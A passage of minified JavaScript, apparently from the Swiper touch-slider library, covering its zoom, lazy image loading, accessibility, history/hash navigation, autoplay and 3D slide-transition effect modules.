p=i.width*e.scale,c=i.height*e.scale;i.minX=Math.min(t.slideWidth/2-p/2,0),i.maxX=-i.minX,i.minY=Math.min(t.slideHeight/2-c/2,0),i.maxY=-i.minY,i.currentX=Math.max(Math.min(i.currentX,i.maxX),i.minX),i.currentY=Math.max(Math.min(i.currentY,i.maxY),i.minY),t.$imageWrapEl.transition(h).transform("translate3d("+i.currentX+"px, "+i.currentY+"px,0)")}},onTransitionEnd:function(){var e=this.zoom,t=e.gesture;t.$slideEl&&this.previousIndex!==this.activeIndex&&(t.$imageEl.transform("translate3d(0,0,0) scale(1)"),t.$imageWrapEl.transform("translate3d(0,0,0)"),t.$slideEl=void 0,t.$imageEl=void 0,t.$imageWrapEl=void 0,e.scale=1,e.currentScale=1)},toggle:function(e){var t=this.zoom;t.scale&&1!==t.scale?t.out():t.in(e)},in:function(e){var t,i,a,r,n,o,l,d,h,p,c,u,v,f,m,g,b=this.zoom,w=this.params.zoom,y=b.gesture,x=b.image;(y.$slideEl||(y.$slideEl=this.clickedSlide?s(this.clickedSlide):this.slides.eq(this.activeIndex),y.$imageEl=y.$slideEl.find("img, svg, canvas"),y.$imageWrapEl=y.$imageEl.parent("."+w.containerClass)),y.$imageEl&&0!==y.$imageEl.length)&&(y.$slideEl.addClass(""+w.zoomedSlideClass),void 0===x.touchesStart.x&&e?(t="touchend"===e.type?e.changedTouches[0].pageX:e.pageX,i="touchend"===e.type?e.changedTouches[0].pageY:e.pageY):(t=x.touchesStart.x,i=x.touchesStart.y),b.scale=y.$imageWrapEl.attr("data-swiper-zoom")||w.maxRatio,b.currentScale=y.$imageWrapEl.attr("data-swiper-zoom")||w.maxRatio,e?(m=y.$slideEl[0].offsetWidth,g=y.$slideEl[0].offsetHeight,a=y.$slideEl.offset().left+m/2-t,r=y.$slideEl.offset().top+g/2-i,l=y.$imageEl[0].offsetWidth,d=y.$imageEl[0].offsetHeight,h=l*b.scale,p=d*b.scale,v=-(c=Math.min(m/2-h/2,0)),f=-(u=Math.min(g/2-p/2,0)),n=a*b.scale,o=r*b.scale,n<c&&(n=c),n>v&&(n=v),o<u&&(o=u),o>f&&(o=f)):(n=0,o=0),y.$imageWrapEl.transition(300).transform("translate3d("+n+"px, "+o+"px,0)"),y.$imageEl.transition(300).transform("translate3d(0,0,0) scale("+b.scale+")"))},out:function(){var e=this.zoom,t=this.params.zoom,i=e.gesture;i.$slideEl||(i.$slideEl=this.clickedSlide?s(this.clickedSlide):this.slides.eq(this.activeIndex),i.$imageEl=i.$slideEl.find("img, svg, canvas"),i.$imageWrapEl=i.$imageEl.parent("."+t.containerClass)),i.$imageEl&&0!==i.$imageEl.length&&(e.scale=1,e.currentScale=1,i.$imageWrapEl.transition(300).transform("translate3d(0,0,0)"),i.$imageEl.transition(300).transform("translate3d(0,0,0) scale(1)"),i.$slideEl.removeClass(""+t.zoomedSlideClass),i.$slideEl=void 0)},enable:function(){var e=this.zoom;if(!e.enabled){e.enabled=!0;var t=!("touchstart"!==this.touchEvents.start||!h.passiveListener||!this.params.passiveListeners)&&{passive:!0,capture:!1};h.gestures?(this.$wrapperEl.on("gesturestart",".swiper-slide",e.onGestureStart,t),this.$wrapperEl.on("gesturechange",".swiper-slide",e.onGestureChange,t),this.$wrapperEl.on("gestureend",".swiper-slide",e.onGestureEnd,t)):"touchstart"===this.touchEvents.start&&(this.$wrapperEl.on(this.touchEvents.start,".swiper-slide",e.onGestureStart,t),this.$wrapperEl.on(this.touchEvents.move,".swiper-slide",e.onGestureChange,t),this.$wrapperEl.on(this.touchEvents.end,".swiper-slide",e.onGestureEnd,t)),this.$wrapperEl.on(this.touchEvents.move,"."+this.params.zoom.containerClass,e.onTouchMove)}},disable:function(){var e=this.zoom;if(e.enabled){this.zoom.enabled=!1;var t=!("touchstart"!==this.touchEvents.start||!h.passiveListener||!this.params.passiveListeners)&&{passive:!0,capture:!1};h.gestures?(this.$wrapperEl.off("gesturestart",".swiper-slide",e.onGestureStart,t),this.$wrapperEl.off("gesturechange",".swiper-slide",e.onGestureChange,t),this.$wrapperEl.off("gestureend",".swiper-slide",e.onGestureEnd,t)):"touchstart"===this.touchEvents.start&&(this.$wrapperEl.off(this.touchEvents.start,".swiper-slide",e.onGestureStart,t),this.$wrapperEl.off(this.touchEvents.move,".swiper-slide",e.onGestureChange,t),this.$wrapperEl.off(this.touchEvents.end,".swiper-slide",e.onGestureEnd,t)),this.$wrapperEl.off(this.touchEvents.move,"."+this.params.zoom.containerClass,e.onTouchMove)}}},W={loadInSlide:function(e,t){void 0===t&&(t=!0);var i=this,a=i.params.lazy;if(void 0!==e&&0!==i.slides.length){var r=i.virtual&&i.params.virtual.enabled?i.$wrapperEl.children("."+i.params.slideClass+'[data-swiper-slide-index="'+e+'"]'):i.slides.eq(e),n=r.find("."+a.elementClass+":not(."+a.loadedClass+"):not(."+a.loadingClass+")");!r.hasClass(a.elementClass)||r.hasClass(a.loadedClass)||r.hasClass(a.loadingClass)||(n=n.add(r[0])),0!==n.length&&n.each(function(e,n){var o=s(n);o.addClass(a.loadingClass);var l=o.attr("data-background"),d=o.attr("data-src"),h=o.attr("data-srcset"),p=o.attr("data-sizes");i.loadImage(o[0],d||l,h,p,!1,function(){if(void 0!==i&&null!==i&&i&&(!i||i.params)&&!i.destroyed){if(l?(o.css("background-image",'url("'+l+'")'),o.removeAttr("data-background")):(h&&(o.attr("srcset",h),o.removeAttr("data-srcset")),p&&(o.attr("sizes",p),o.removeAttr("data-sizes")),d&&(o.attr("src",d),o.removeAttr("data-src"))),o.addClass(a.loadedClass).removeClass(a.loadingClass),r.find("."+a.preloaderClass).remove(),i.params.loop&&t){var e=r.attr("data-swiper-slide-index");if(r.hasClass(i.params.slideDuplicateClass)){var s=i.$wrapperEl.children('[data-swiper-slide-index="'+e+'"]:not(.'+i.params.slideDuplicateClass+")");i.lazy.loadInSlide(s.index(),!1)}else{var n=i.$wrapperEl.children("."+i.params.slideDuplicateClass+'[data-swiper-slide-index="'+e+'"]');i.lazy.loadInSlide(n.index(),!1)}}i.emit("lazyImageReady",r[0],o[0])}}),i.emit("lazyImageLoad",r[0],o[0])})}},load:function(){var e=this,t=e.$wrapperEl,i=e.params,a=e.slides,r=e.activeIndex,n=e.virtual&&i.virtual.enabled,o=i.lazy,l=i.slidesPerView;function d(e){if(n){if(t.children("."+i.slideClass+'[data-swiper-slide-index="'+e+'"]').length)return!0}else if(a[e])return!0;return!1}function h(e){return n?s(e).attr("data-swiper-slide-index"):s(e).index()}if("auto"===l&&(l=0),e.lazy.initialImageLoaded||(e.lazy.initialImageLoaded=!0),e.params.watchSlidesVisibility)t.children("."+i.slideVisibleClass).each(function(t,i){var a=n?s(i).attr("data-swiper-slide-index"):s(i).index();e.lazy.loadInSlide(a)});else if(l>1)for(var p=r;p<r+l;p+=1)d(p)&&e.lazy.loadInSlide(p);else e.lazy.loadInSlide(r);if(o.loadPrevNext)if(l>1||o.loadPrevNextAmount&&o.loadPrevNextAmount>1){for(var c=o.loadPrevNextAmount,u=l,v=Math.min(r+u+Math.max(c,u),a.length),f=Math.max(r-Math.max(u,c),0),m=r+l;m<v;m+=1)d(m)&&e.lazy.loadInSlide(m);for(var g=f;g<r;g+=1)d(g)&&e.lazy.loadInSlide(g)}else{var b=t.children("."+i.slideNextClass);b.length>0&&e.lazy.loadInSlide(h(b));var w=t.children("."+i.slidePrevClass);w.length>0&&e.lazy.loadInSlide(h(w))}}},q={LinearSpline:function(e,t){var i,s,a,r,n,o=function(e,t){for(s=-1,i=e.length;i-s>1;)e[a=i+s>>1]<=t?s=a:i=a;return i};return this.x=e,this.y=t,this.lastIndex=e.length-1,this.interpolate=function(e){return e?(n=o(this.x,e),r=n-1,(e-this.x[r])*(this.y[n]-this.y[r])/(this.x[n]-this.x[r])+this.y[r]):0},this},getInterpolateFunction:function(e){this.controller.spline||(this.controller.spline=this.params.loop?new q.LinearSpline(this.slidesGrid,e.slidesGrid):new q.LinearSpline(this.snapGrid,e.snapGrid))},setTranslate:function(e,t){var i,s,a=this,r=a.controller.control;function n(e){var t=a.rtlTranslate?-a.translate:a.translate;"slide"===a.params.controller.by&&(a.controller.getInterpolateFunction(e),s=-a.controller.spline.interpolate(-t)),s&&"container"!==a.params.controller.by||(i=(e.maxTranslate()-e.minTranslate())/(a.maxTranslate()-a.minTranslate()),s=(t-a.minTranslate())*i+e.minTranslate()),a.params.controller.inverse&&(s=e.maxTranslate()-s),e.updateProgress(s),e.setTranslate(s,a),e.updateActiveIndex(),e.updateSlidesClasses()}if(Array.isArray(r))for(var o=0;o<r.length;o+=1)r[o]!==t&&r[o]instanceof k&&n(r[o]);else r instanceof k&&t!==r&&n(r)},setTransition:function(e,t){var i,s=this,a=s.controller.control;function r(t){t.setTransition(e,s),0!==e&&(t.transitionStart(),t.$wrapperEl.transitionEnd(function(){a&&(t.params.loop&&"slide"===s.params.controller.by&&t.loopFix(),t.transitionEnd())}))}if(Array.isArray(a))for(i=0;i<a.length;i+=1)a[i]!==t&&a[i]instanceof k&&r(a[i]);else a instanceof k&&t!==a&&r(a)}},j={makeElFocusable:function(e){return e.attr("tabIndex","0"),e},addElRole:function(e,t){return e.attr("role",t),e},addElLabel:function(e,t){return e.attr("aria-label",t),e},disableEl:function(e){return e.attr("aria-disabled",!0),e},enableEl:function(e){return e.attr("aria-disabled",!1),e},onEnterKey:function(e){var t=this.params.a11y;if(13===e.keyCode){var i=s(e.target);this.navigation&&this.navigation.$nextEl&&i.is(this.navigation.$nextEl)&&(this.isEnd&&!this.params.loop||this.slideNext(),this.isEnd?this.a11y.notify(t.lastSlideMessage):this.a11y.notify(t.nextSlideMessage)),this.navigation&&this.navigation.$prevEl&&i.is(this.navigation.$prevEl)&&(this.isBeginning&&!this.params.loop||this.slidePrev(),this.isBeginning?this.a11y.notify(t.firstSlideMessage):this.a11y.notify(t.prevSlideMessage)),this.pagination&&i.is("."+this.params.pagination.bulletClass)&&i[0].click()}},notify:function(e){var t=this.a11y.liveRegion;0!==t.length&&(t.html(""),t.html(e))},updateNavigation:function(){if(!this.params.loop){var e=this.navigation,t=e.$nextEl,i=e.$prevEl;i&&i.length>0&&(this.isBeginning?this.a11y.disableEl(i):this.a11y.enableEl(i)),t&&t.length>0&&(this.isEnd?this.a11y.disableEl(t):this.a11y.enableEl(t))}},updatePagination:function(){var e=this,t=e.params.a11y;e.pagination&&e.params.pagination.clickable&&e.pagination.bullets&&e.pagination.bullets.length&&e.pagination.bullets.each(function(i,a){var r=s(a);e.a11y.makeElFocusable(r),e.a11y.addElRole(r,"button"),e.a11y.addElLabel(r,t.paginationBulletMessage.replace(/{{index}}/,r.index()+1))})},init:function(){this.$el.append(this.a11y.liveRegion);var e,t,i=this.params.a11y;this.navigation&&this.navigation.$nextEl&&(e=this.navigation.$nextEl),this.navigation&&this.navigation.$prevEl&&(t=this.navigation.$prevEl),e&&(this.a11y.makeElFocusable(e),this.a11y.addElRole(e,"button"),this.a11y.addElLabel(e,i.nextSlideMessage),e.on("keydown",this.a11y.onEnterKey)),t&&(this.a11y.makeElFocusable(t),this.a11y.addElRole(t,"button"),this.a11y.addElLabel(t,i.prevSlideMessage),t.on("keydown",this.a11y.onEnterKey)),this.pagination&&this.params.pagination.clickable&&this.pagination.bullets&&this.pagination.bullets.length&&this.pagination.$el.on("keydown","."+this.params.pagination.bulletClass,this.a11y.onEnterKey)},destroy:function(){var e,t;this.a11y.liveRegion&&this.a11y.liveRegion.length>0&&this.a11y.liveRegion.remove(),this.navigation&&this.navigation.$nextEl&&(e=this.navigation.$nextEl),this.navigation&&this.navigation.$prevEl&&(t=this.navigation.$prevEl),e&&e.off("keydown",this.a11y.onEnterKey),t&&t.off("keydown",this.a11y.onEnterKey),this.pagination&&this.params.pagination.clickable&&this.pagination.bullets&&this.pagination.bullets.length&&this.pagination.$el.off("keydown","."+this.params.pagination.bulletClass,this.a11y.onEnterKey)}},K={init:function(){if(this.params.history){if(!t.history||!t.history.pushState)return this.params.history.enabled=!1,void(this.params.hashNavigation.enabled=!0);var e=this.history;e.initialized=!0,e.paths=K.getPathValues(),(e.paths.key||e.paths.value)&&(e.scrollToSlide(0,e.paths.value,this.params.runCallbacksOnInit),this.params.history.replaceState||t.addEventListener("popstate",this.history.setHistoryPopState))}},destroy:function(){this.params.history.replaceState||t.removeEventListener("popstate",this.history.setHistoryPopState)},setHistoryPopState:function(){this.history.paths=K.getPathValues(),this.history.scrollToSlide(this.params.speed,this.history.paths.value,!1)},getPathValues:function(){var e=t.location.pathname.slice(1).split("/").filter(function(e){return""!==e}),i=e.length;return{key:e[i-2],value:e[i-1]}},setHistory:function(e,i){if(this.history.initialized&&this.params.history.enabled){var s=this.slides.eq(i),a=K.slugify(s.attr("data-history"));t.location.pathname.includes(e)||(a=e+"/"+a);var r=t.history.state;r&&r.value===a||(this.params.history.replaceState?t.history.replaceState({value:a},null,a):t.history.pushState({value:a},null,a))}},slugify:function(e){return e.toString().toLowerCase().replace(/\s+/g,"-").replace(/[^\w-]+/g,"").replace(/--+/g,"-").replace(/^-+/,"").replace(/-+$/,"")},scrollToSlide:function(e,t,i){if(t)for(var s=0,a=this.slides.length;s<a;s+=1){var r=this.slides.eq(s);if(K.slugify(r.attr("data-history"))===t&&!r.hasClass(this.params.slideDuplicateClass)){var n=r.index();this.slideTo(n,e,i)}}else this.slideTo(0,e,i)}},U={onHashCange:function(){var t=e.location.hash.replace("#","");t!==this.slides.eq(this.activeIndex).attr("data-hash")&&this.slideTo(this.$wrapperEl.children("."+this.params.slideClass+'[data-hash="'+t+'"]').index())},setHash:function(){if(this.hashNavigation.initialized&&this.params.hashNavigation.enabled)if(this.params.hashNavigation.replaceState&&t.history&&t.history.replaceState)t.history.replaceState(null,null,"#"+this.slides.eq(this.activeIndex).attr("data-hash")||"");else{var i=this.slides.eq(this.activeIndex),s=i.attr("data-hash")||i.attr("data-history");e.location.hash=s||""}},init:function(){if(!(!this.params.hashNavigation.enabled||this.params.history&&this.params.history.enabled)){this.hashNavigation.initialized=!0;var i=e.location.hash.replace("#","");if(i)for(var a=0,r=this.slides.length;a<r;a+=1){var n=this.slides.eq(a);if((n.attr("data-hash")||n.attr("data-history"))===i&&!n.hasClass(this.params.slideDuplicateClass)){var o=n.index();this.slideTo(o,0,this.params.runCallbacksOnInit,!0)}}this.params.hashNavigation.watchState&&s(t).on("hashchange",this.hashNavigation.onHashCange)}},destroy:function(){this.params.hashNavigation.watchState&&s(t).off("hashchange",this.hashNavigation.onHashCange)}},_={run:function(){var e=this,t=e.slides.eq(e.activeIndex),i=e.params.autoplay.delay;t.attr("data-swiper-autoplay")&&(i=t.attr("data-swiper-autoplay")||e.params.autoplay.delay),e.autoplay.timeout=d.nextTick(function(){e.params.autoplay.reverseDirection?e.params.loop?(e.loopFix(),e.slidePrev(e.params.speed,!0,!0),e.emit("autoplay")):e.isBeginning?e.params.autoplay.stopOnLastSlide?e.autoplay.stop():(e.slideTo(e.slides.length-1,e.params.speed,!0,!0),e.emit("autoplay")):(e.slidePrev(e.params.speed,!0,!0),e.emit("autoplay")):e.params.loop?(e.loopFix(),e.slideNext(e.params.speed,!0,!0),e.emit("autoplay")):e.isEnd?e.params.autoplay.stopOnLastSlide?e.autoplay.stop():(e.slideTo(0,e.params.speed,!0,!0),e.emit("autoplay")):(e.slideNext(e.params.speed,!0,!0),e.emit("autoplay"))},i)},start:function(){return void 0===this.autoplay.timeout&&(!this.autoplay.running&&(this.autoplay.running=!0,this.emit("autoplayStart"),this.autoplay.run(),!0))},stop:function(){return!!this.autoplay.running&&(void 0!==this.autoplay.timeout&&(this.autoplay.timeout&&(clearTimeout(this.autoplay.timeout),this.autoplay.timeout=void 0),this.autoplay.running=!1,this.emit("autoplayStop"),!0))},pause:function(e){var t=this;t.autoplay.running&&(t.autoplay.paused||(t.autoplay.timeout&&clearTimeout(t.autoplay.timeout),t.autoplay.paused=!0,0!==e&&t.params.autoplay.waitForTransition?t.$wrapperEl.transitionEnd(function(){t&&!t.destroyed&&(t.autoplay.paused=!1,t.autoplay.running?t.autoplay.run():t.autoplay.stop())}):(t.autoplay.paused=!1,t.autoplay.run())))}},Z={setTranslate:function(){for(var e=this.slides,t=0;t<e.length;t+=1){var i=this.slides.eq(t),s=-i[0].swiperSlideOffset;this.params.virtualTranslate||(s-=this.translate);var a=0;this.isHorizontal()||(a=s,s=0);var r=this.params.fadeEffect.crossFade?Math.max(1-Math.abs(i[0].progress),0):1+Math.min(Math.max(i[0].progress,-1),0);i.css({opacity:r}).transform("translate3d("+s+"px, "+a+"px, 0px)")}},setTransition:function(e){var t=this,i=t.slides,s=t.$wrapperEl;if(i.transition(e),t.params.virtualTranslate&&0!==e){var a=!1;i.transitionEnd(function(){if(!a&&t&&!t.destroyed){a=!0,t.animating=!1;for(var e=["webkitTransitionEnd","transitionend"],i=0;i<e.length;i+=1)s.trigger(e[i])}})}}},Q={setTranslate:function(){var e,t=this.$el,i=this.$wrapperEl,a=this.slides,r=this.width,n=this.height,o=this.rtlTranslate,l=this.size,d=this.params.cubeEffect,h=this.isHorizontal(),p=this.virtual&&this.params.virtual.enabled,c=0;d.shadow&&(h?(0===(e=i.find(".swiper-cube-shadow")).length&&(e=s('<div class="swiper-cube-shadow"></div>'),i.append(e)),e.css({height:r+"px"})):0===(e=t.find(".swiper-cube-shadow")).length&&(e=s('<div class="swiper-cube-shadow"></div>'),t.append(e)));for(var u=0;u<a.length;u+=1){var v=a.eq(u),f=u;p&&(f=parseInt(v.attr("data-swiper-slide-index"),10));var m=90*f,g=Math.floor(m/360);o&&(m=-m,g=Math.floor(-m/360));var b=Math.max(Math.min(v[0].progress,1),-1),w=0,y=0,x=0;f%4==0?(w=4*-g*l,x=0):(f-1)%4==0?(w=0,x=4*-g*l):(f-2)%4==0?(w=l+4*g*l,x=l):(f-3)%4==0&&(w=-l,x=3*l+4*l*g),o&&(w=-w),h||(y=w,w=0);var E="rotateX("+(h?0:-m)+"deg) rotateY("+(h?m:0)+"deg) translate3d("+w+"px, "+y+"px, "+x+"px)";if(b<=1&&b>-1&&(c=90*f+90*b,o&&(c=90*-f-90*b)),v.transform(E),d.slideShadows){var T=h?v.find(".swiper-slide-shadow-left"):v.find(".swiper-slide-shadow-top"),C=h?v.find(".swiper-slide-shadow-right"):v.find(".swiper-slide-shadow-bottom");0===T.length&&(T=s('<div class="swiper-slide-shadow-'+(h?"left":"top")+'"></div>'),v.append(T)),0===C.length&&(C=s('<div class="swiper-slide-shadow-'+(h?"right":"bottom")+'"></div>'),v.append(C)),T.length&&(T[0].style.opacity=Math.max(-b,0)),C.length&&(C[0].style.opacity=Math.max(b,0))}}if(i.css({"-webkit-transform-origin":"50% 50% -"+l/2+"px","-moz-transform-origin":"50% 50% -"+l/2+"px","-ms-transform-origin":"50% 50% -"+l/2+"px","transform-origin":"50% 50% -"+l/2+"px"}),d.shadow)if(h)e.transform("translate3d(0px, "+(r/2+d.shadowOffset)+"px, "+-r/2+"px) rotateX(90deg) rotateZ(0deg) scale("+d.shadowScale+")");else{var M=Math.abs(c)-90*Math.floor(Math.abs(c)/90),z=1.5-(Math.sin(2*M*Math.PI/360)/2+Math.cos(2*M*Math.PI/360)/2),k=d.shadowScale,P=d.shadowScale/z,$=d.shadowOffset;e.transform("scale3d("+k+", 1, "+P+") translate3d(0px, "+(n/2+$)+"px, "+-n/2/P+"px) rotateX(-90deg)")}var L=S.isSafari||S.isUiWebView?-l/2:0;i.transform("translate3d(0px,0,"+L+"px) rotateX("+(this.isHorizontal()?0:c)+"deg) rotateY("+(this.isHorizontal()?-c:0)+"deg)")},setTransition:function(e){var t=this.$el;this.slides.transition(e).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(e),this.params.cubeEffect.shadow&&!this.isHorizontal()&&t.find(".swiper-cube-shadow").transition(e)}},J={setTranslate:function(){for(var e=this.slides,t=this.rtlTranslate,i=0;i<e.length;i+=1){var a=e.eq(i),r=a[0].progress;this.params.flipEffect.limitRotation&&(r=Math.max(Math.min(a[0].progress,1),-1));var n=-180*r,o=0,l=-a[0].swiperSlideOffset,d=0;if(this.isHorizontal()?t&&(n=-n):(d=l,l=0,o=-n,n=0),a[0].style.zIndex=-Math.abs(Math.round(r))+e.length,this.params.flipEffect.slideShadows){var h=this.isHorizontal()?a.find(".swiper-slide-shadow-left"):a.find(".swiper-slide-shadow-top"),p=this.isHorizontal()?a.find(".swiper-slide-shadow-right"):a.find(".swiper-slide-shadow-bottom");0===h.length&&(h=s('<div class="swiper-slide-shadow-'+(this.isHorizontal()?"left":"top")+'"></div>'),a.append(h)),0===p.length&&(p=s('<div class="swiper-slide-shadow-'+(this.isHorizontal()?"right":"bottom")+'"></div>'),a.append(p)),h.length&&(h[0].style.opacity=Math.max(-r,0)),p.length&&(p[0].style.opacity=Math.max(r,0))}a.transform("translate3d("+l+"px, "+d+"px, 0px) rotateX("+o+"deg) rotateY("+n+"deg)")}},setTransition:function(e){var t=this,i=t.slides,s=t.activeIndex,a=t.$wrapperEl;if(i.transition(e).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(e),t.params.virtualTranslate&&0!==e){var r=!1;i.eq(s).transitionEnd(function(){if(!r&&t&&!t.destroyed){r=!0,t.animating=!1;for(var e=["webkitTransitionEnd","transitionend"],i=0;i<e.length;i+=1)a.trigger(e[i])}})}}},ee={setTranslate:function(){for(var e=this.width,t=this.height,i=this.slides,a=this.$wrapperEl,r=this.slidesSizesGrid,n=this.params.coverflowEffect,o=this.isHorizontal(),l=this.translate,d=o?e/2-l:t/2-l,p=o?n.rotate:-n.rotate,c=n.depth,u=0,v=i.length;u<v;u+=1){var f=i.eq(u),m=r[u],g=(d-f[0].swiperSlideOffset-m/2)/m*n.modifier,b=o?p*g:0,w=o?0:p*g,y=-c*Math.abs(g),x=o?0:n.stretch*g,E=o?n.stretch*g:0;Math.abs(E)<.001&&(E=0),Math.abs(x)<.001&&(x=0),Math.abs(y)<.001&&(y=0),Math.abs(b)<.001&&(b=0),Math.abs(w)<.001&&(w=0);var T="translate3d("+E+"px,"+x+"px,"+y+"px) rotateX("+w+"deg) rotateY("+b+"deg)";if(f.transform(T),f[0].style.zIndex=1-Math.abs(Math.round(g)),n.slideShadows){var S=o?f.find(".swiper-slide-shadow-left"):f.find(".swiper-slide-shadow-top"),C=o?f.find(".swiper-slide-shadow-right"):f.find(".swiper-slide-shadow-bottom");0===S.length&&(S=s('<div class="swiper-slide-shadow-'+(o?"left":"top")+'"></div>'),f.append(S)),0===C.length&&(C=s('<div class="swiper-slide-shadow-'+(o?"right":"bottom")+'"></div>'),f.append(C)),S.length&&(S[0].style.opacity=g>0?g:0),C.length&&(C[0].style.opacity=-g>0?-g:0)}}(h.pointerEvents||h.prefixedPointerEvents)&&(a[0].style.perspectiveOrigin=d+"px 50%")},setTransition:function(e){this.slides.transition(e).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(e)}},te=[P,$,L,I,O,G,N,{name:"mousewheel",params:{mousewheel:{enabled:!1,releaseOnEdges:!1,invert:!1,forceToAxis:!1,sensitivity:1,eventsTarged:"container"}},create:function(){d.extend(this,{mousewheel:{enabled:!1,enable:B.enable.bind(this),disable:B.disable.bind(this),handle:B.handle.bind(this),handleMouseEnter:B.handleMouseEnter.bind(this),handleMouseLeave:B.handleMouseLeave.bind(this),lastScrollTime:d.now()}})},on:{init:function(){this.params.mousewheel.enabled&&this.mousewheel.enable()},destroy:function(){this.mousewheel.enabled&&this.mousewheel.disable()}}},{name:"navigation",params:{navigation:{nextEl:null,prevEl:null,hideOnClick:!1,disabledClass:"swiper-button-disabled",hiddenClass:"swiper-button-hidden",lockClass:"swiper-button-lock"}},create:function(){d.extend(this,{navigation:{init:X.init.bind(this),update:X.update.bind(this),destroy:X.destroy.bind(this)}})},on:{init:function(){this.navigation.init(),this.navigation.update()},toEdge:function(){this.navigation.update()},fromEdge:function(){this.navigation.update()},destroy:function(){this.navigation.destroy()},click:function(e){var t=this.navigation,i=t.$nextEl,a=t.$prevEl;!this.params.navigation.hideOnClick||s(e.target).is(a)||s(e.target).is(i)||(i&&i.toggleClass(this.params.navigation.hiddenClass),a&&a.toggleClass(this.params.navigation.hiddenClass))}}},{name:"pagination",params:{pagination:{el:null,bulletElement:"span",clickable:!1,hideOnClick:!1,renderBullet:null,renderProgressbar:null,renderFraction:null,renderCustom:null,progressbarOpposite:!1,type:"bullets",dynamicBullets:!1,dynamicMainBullets:1,bulletClass:"swiper-pagination-bullet",bulletActiveClass:"swiper-pagination-bullet-active",modifierClass:"swiper-pagination-",currentClass:"swiper-pagination-current",totalClass:"swiper-pagination-total",hiddenClass:"swiper-pagination-hidden",progressbarFillClass:"swiper-pagination-progressbar-fill",progressbarOppositeClass:"swiper-pagination-progressbar-opposite",clickableClass:"swiper-pagination-clickable",lockClass:"swiper-pagination-lock"}},create:function(){d.extend(this,{pagination:{init:Y.init.bind(this),render:Y.render.bind(this),update:Y.update.bind(this),destroy:Y.destroy.bind(this),dynamicBulletIndex:0}})},on:{init:function(){this.pagination.init(),this.pagination.render(),this.pagination.update()},activeIndexChange:function(){this.params.loop?this.pagination.update():void 0===this.snapIndex&&this.pagination.update()},snapIndexChange:function(){this.params.loop||this.pagination.update()},slidesLengthChange:function(){this.params.loop&&(this.pagination.render(),this.pagination.update())},snapGridLengthChange:function(){this.params.loop||(this.pagination.render(),this.pagination.update())},destroy:function(){this.pagination.destroy()},click:function(e){this.params.pagination.el&&this.params.pagination.hideOnClick&&this.pagination.$el.length>0&&!s(e.target).hasClass(this.params.pagination.bulletClass)&&this.pagination.$el.toggleClass(this.params.pagination.hiddenClass)}}},{name:"scrollbar",params:{scrollbar:{el:null,dragSize:"auto",hide:!1,draggable:!1,snapOnRelease:!0,lockClass:"swiper-scrollbar-lock",dragClass:"swiper-scrollbar-drag"}},create:function(){d.extend(this,{scrollbar:{init:V.init.bind(this),destroy:V.destroy.bind(this),updateSize:V.updateSize.bind(this),setTranslate:V.setTranslate.bind(this),setTransition:V.setTransition.bind(this),enableDraggable:V.enableDraggable.bind(this),disableDraggable:V.disableDraggable.bind(this),setDragPosition:V.setDragPosition.bind(this),onDragStart:V.onDragStart.bind(this),onDragMove:V.onDragMove.bind(this),onDragEnd:V.onDragEnd.bind(this),isTouched:!1,timeout:null,dragTimeout:null}})},on:{init:function(){this.scrollbar.init(),this.scrollbar.updateSize(),this.scrollbar.setTranslate()},update:function(){this.scrollbar.updateSize()},resize:function(){this.scrollbar.updateSize()},observerUpdate:function(){this.scrollbar.updateSize()},setTranslate:function(){this.scrollbar.setTranslate()},setTransition:function(e){this.scrollbar.setTransition(e)},destroy:function(){this.scrollbar.destroy()}}},{name:"parallax",params:{parallax:{enabled:!1}},create:function(){d.extend(this,{parallax:{setTransform:R.setTransform.bind(this),setTranslate:R.setTranslate.bind(this),setTransition:R.setTransition.bind(this)}})},on:{beforeInit:function(){this.params.parallax.enabled&&(this.params.watchSlidesProgress=!0)},init:function(){this.params.parallax&&this.parallax.setTranslate()},setTranslate:function(){this.params.parallax&&this.parallax.setTranslate()},setTransition:function(e){this.params.parallax&&this.parallax.setTransition(e)}}},{name:"zoom",params:{zoom:{enabled:!1,maxRatio:3,minRatio:1,toggle:!0,containerClass:"swiper-zoom-container",zoomedSlideClass:"swiper-slide-zoomed"}},create:function(){var e=this,t={enabled:!1,scale:1,currentScale:1,isScaling:!1,gesture:{$slideEl:void 0,slideWidth:void 0,slideHeight:void 0,$imageEl:void 0,$imageWrapEl:void 0,maxRatio:3},image:{isTouched:void 0,isMoved:void 0,currentX:void 0,currentY:void 0,minX:void 0,minY:void 0,maxX:void 0,maxY:void 0,width:void 0,height:void 0,startX:void 0,startY:void 0,touchesStart:{},touchesCurrent:{}},velocity:{x:void 0,y:void 0,prevPositionX:void 0,prevPositionY:void 0,prevTime:void 0}};"onGestureStart onGestureChange onGestureEnd onTouchStart onTouchMove onTouchEnd onTransitionEnd toggle enable disable in out".split(" ").forEach(function(i){t[i]=F[i].bind(e)}),d.extend(e,{zoom:t})},on:{init:function(){this.params.zoom.enabled&&this.zoom.enable()},destroy:function(){this.zoom.disable()},touchStart:function(e){this.zoom.enabled&&this.zoom.onTouchStart(e)},touchEnd:function(e){this.zoom.enabled&&this.zoom.onTouchEnd(e)},doubleTap:function(e){this.params.zoom.enabled&&this.zoom.enabled&&this.params.zoom.toggle&&this.zoom.toggle(e)},transitionEnd:function(){this.zoom.enabled&&this.params.zoom.enabled&&this.zoom.onTransitionEnd()}}},{name:"lazy",params:{lazy:{enabled:!1,loadPrevNext:!1,loadPrevNextAmount:1,loadOnTransitionStart:!1,elementClass:"swiper-lazy",loadingClass:"swiper-lazy-loading",loadedClass:"swiper-lazy-loaded",preloaderClass:"swiper-lazy-preloader"}},create:function(){d.extend(this,{lazy:{initialImageLoaded:!1,load:W.load.bind(this),loadInSlide:W.loadInSlide.bind(this)}})},on:{beforeInit:function(){this.params.lazy.enabled&&this.params.preloadImages&&(this.params.preloadImages=!1)},init:function(){this.params.lazy.enabled&&!this.params.loop&&0===this.params.initialSlide&&this.lazy.load()},scroll:function(){this.params.freeMode&&!this.params.freeModeSticky&&this.lazy.load()},resize:function(){this.params.lazy.enabled&&this.lazy.load()},scrollbarDragMove:function(){this.params.lazy.enabled&&this.lazy.load()},transitionStart:function(){this.params.lazy.enabled&&(this.params.lazy.loadOnTransitionStart||!this.params.lazy.loadOnTransitionStart&&!this.lazy.initialImageLoaded)&&this.lazy.load()},transitionEnd: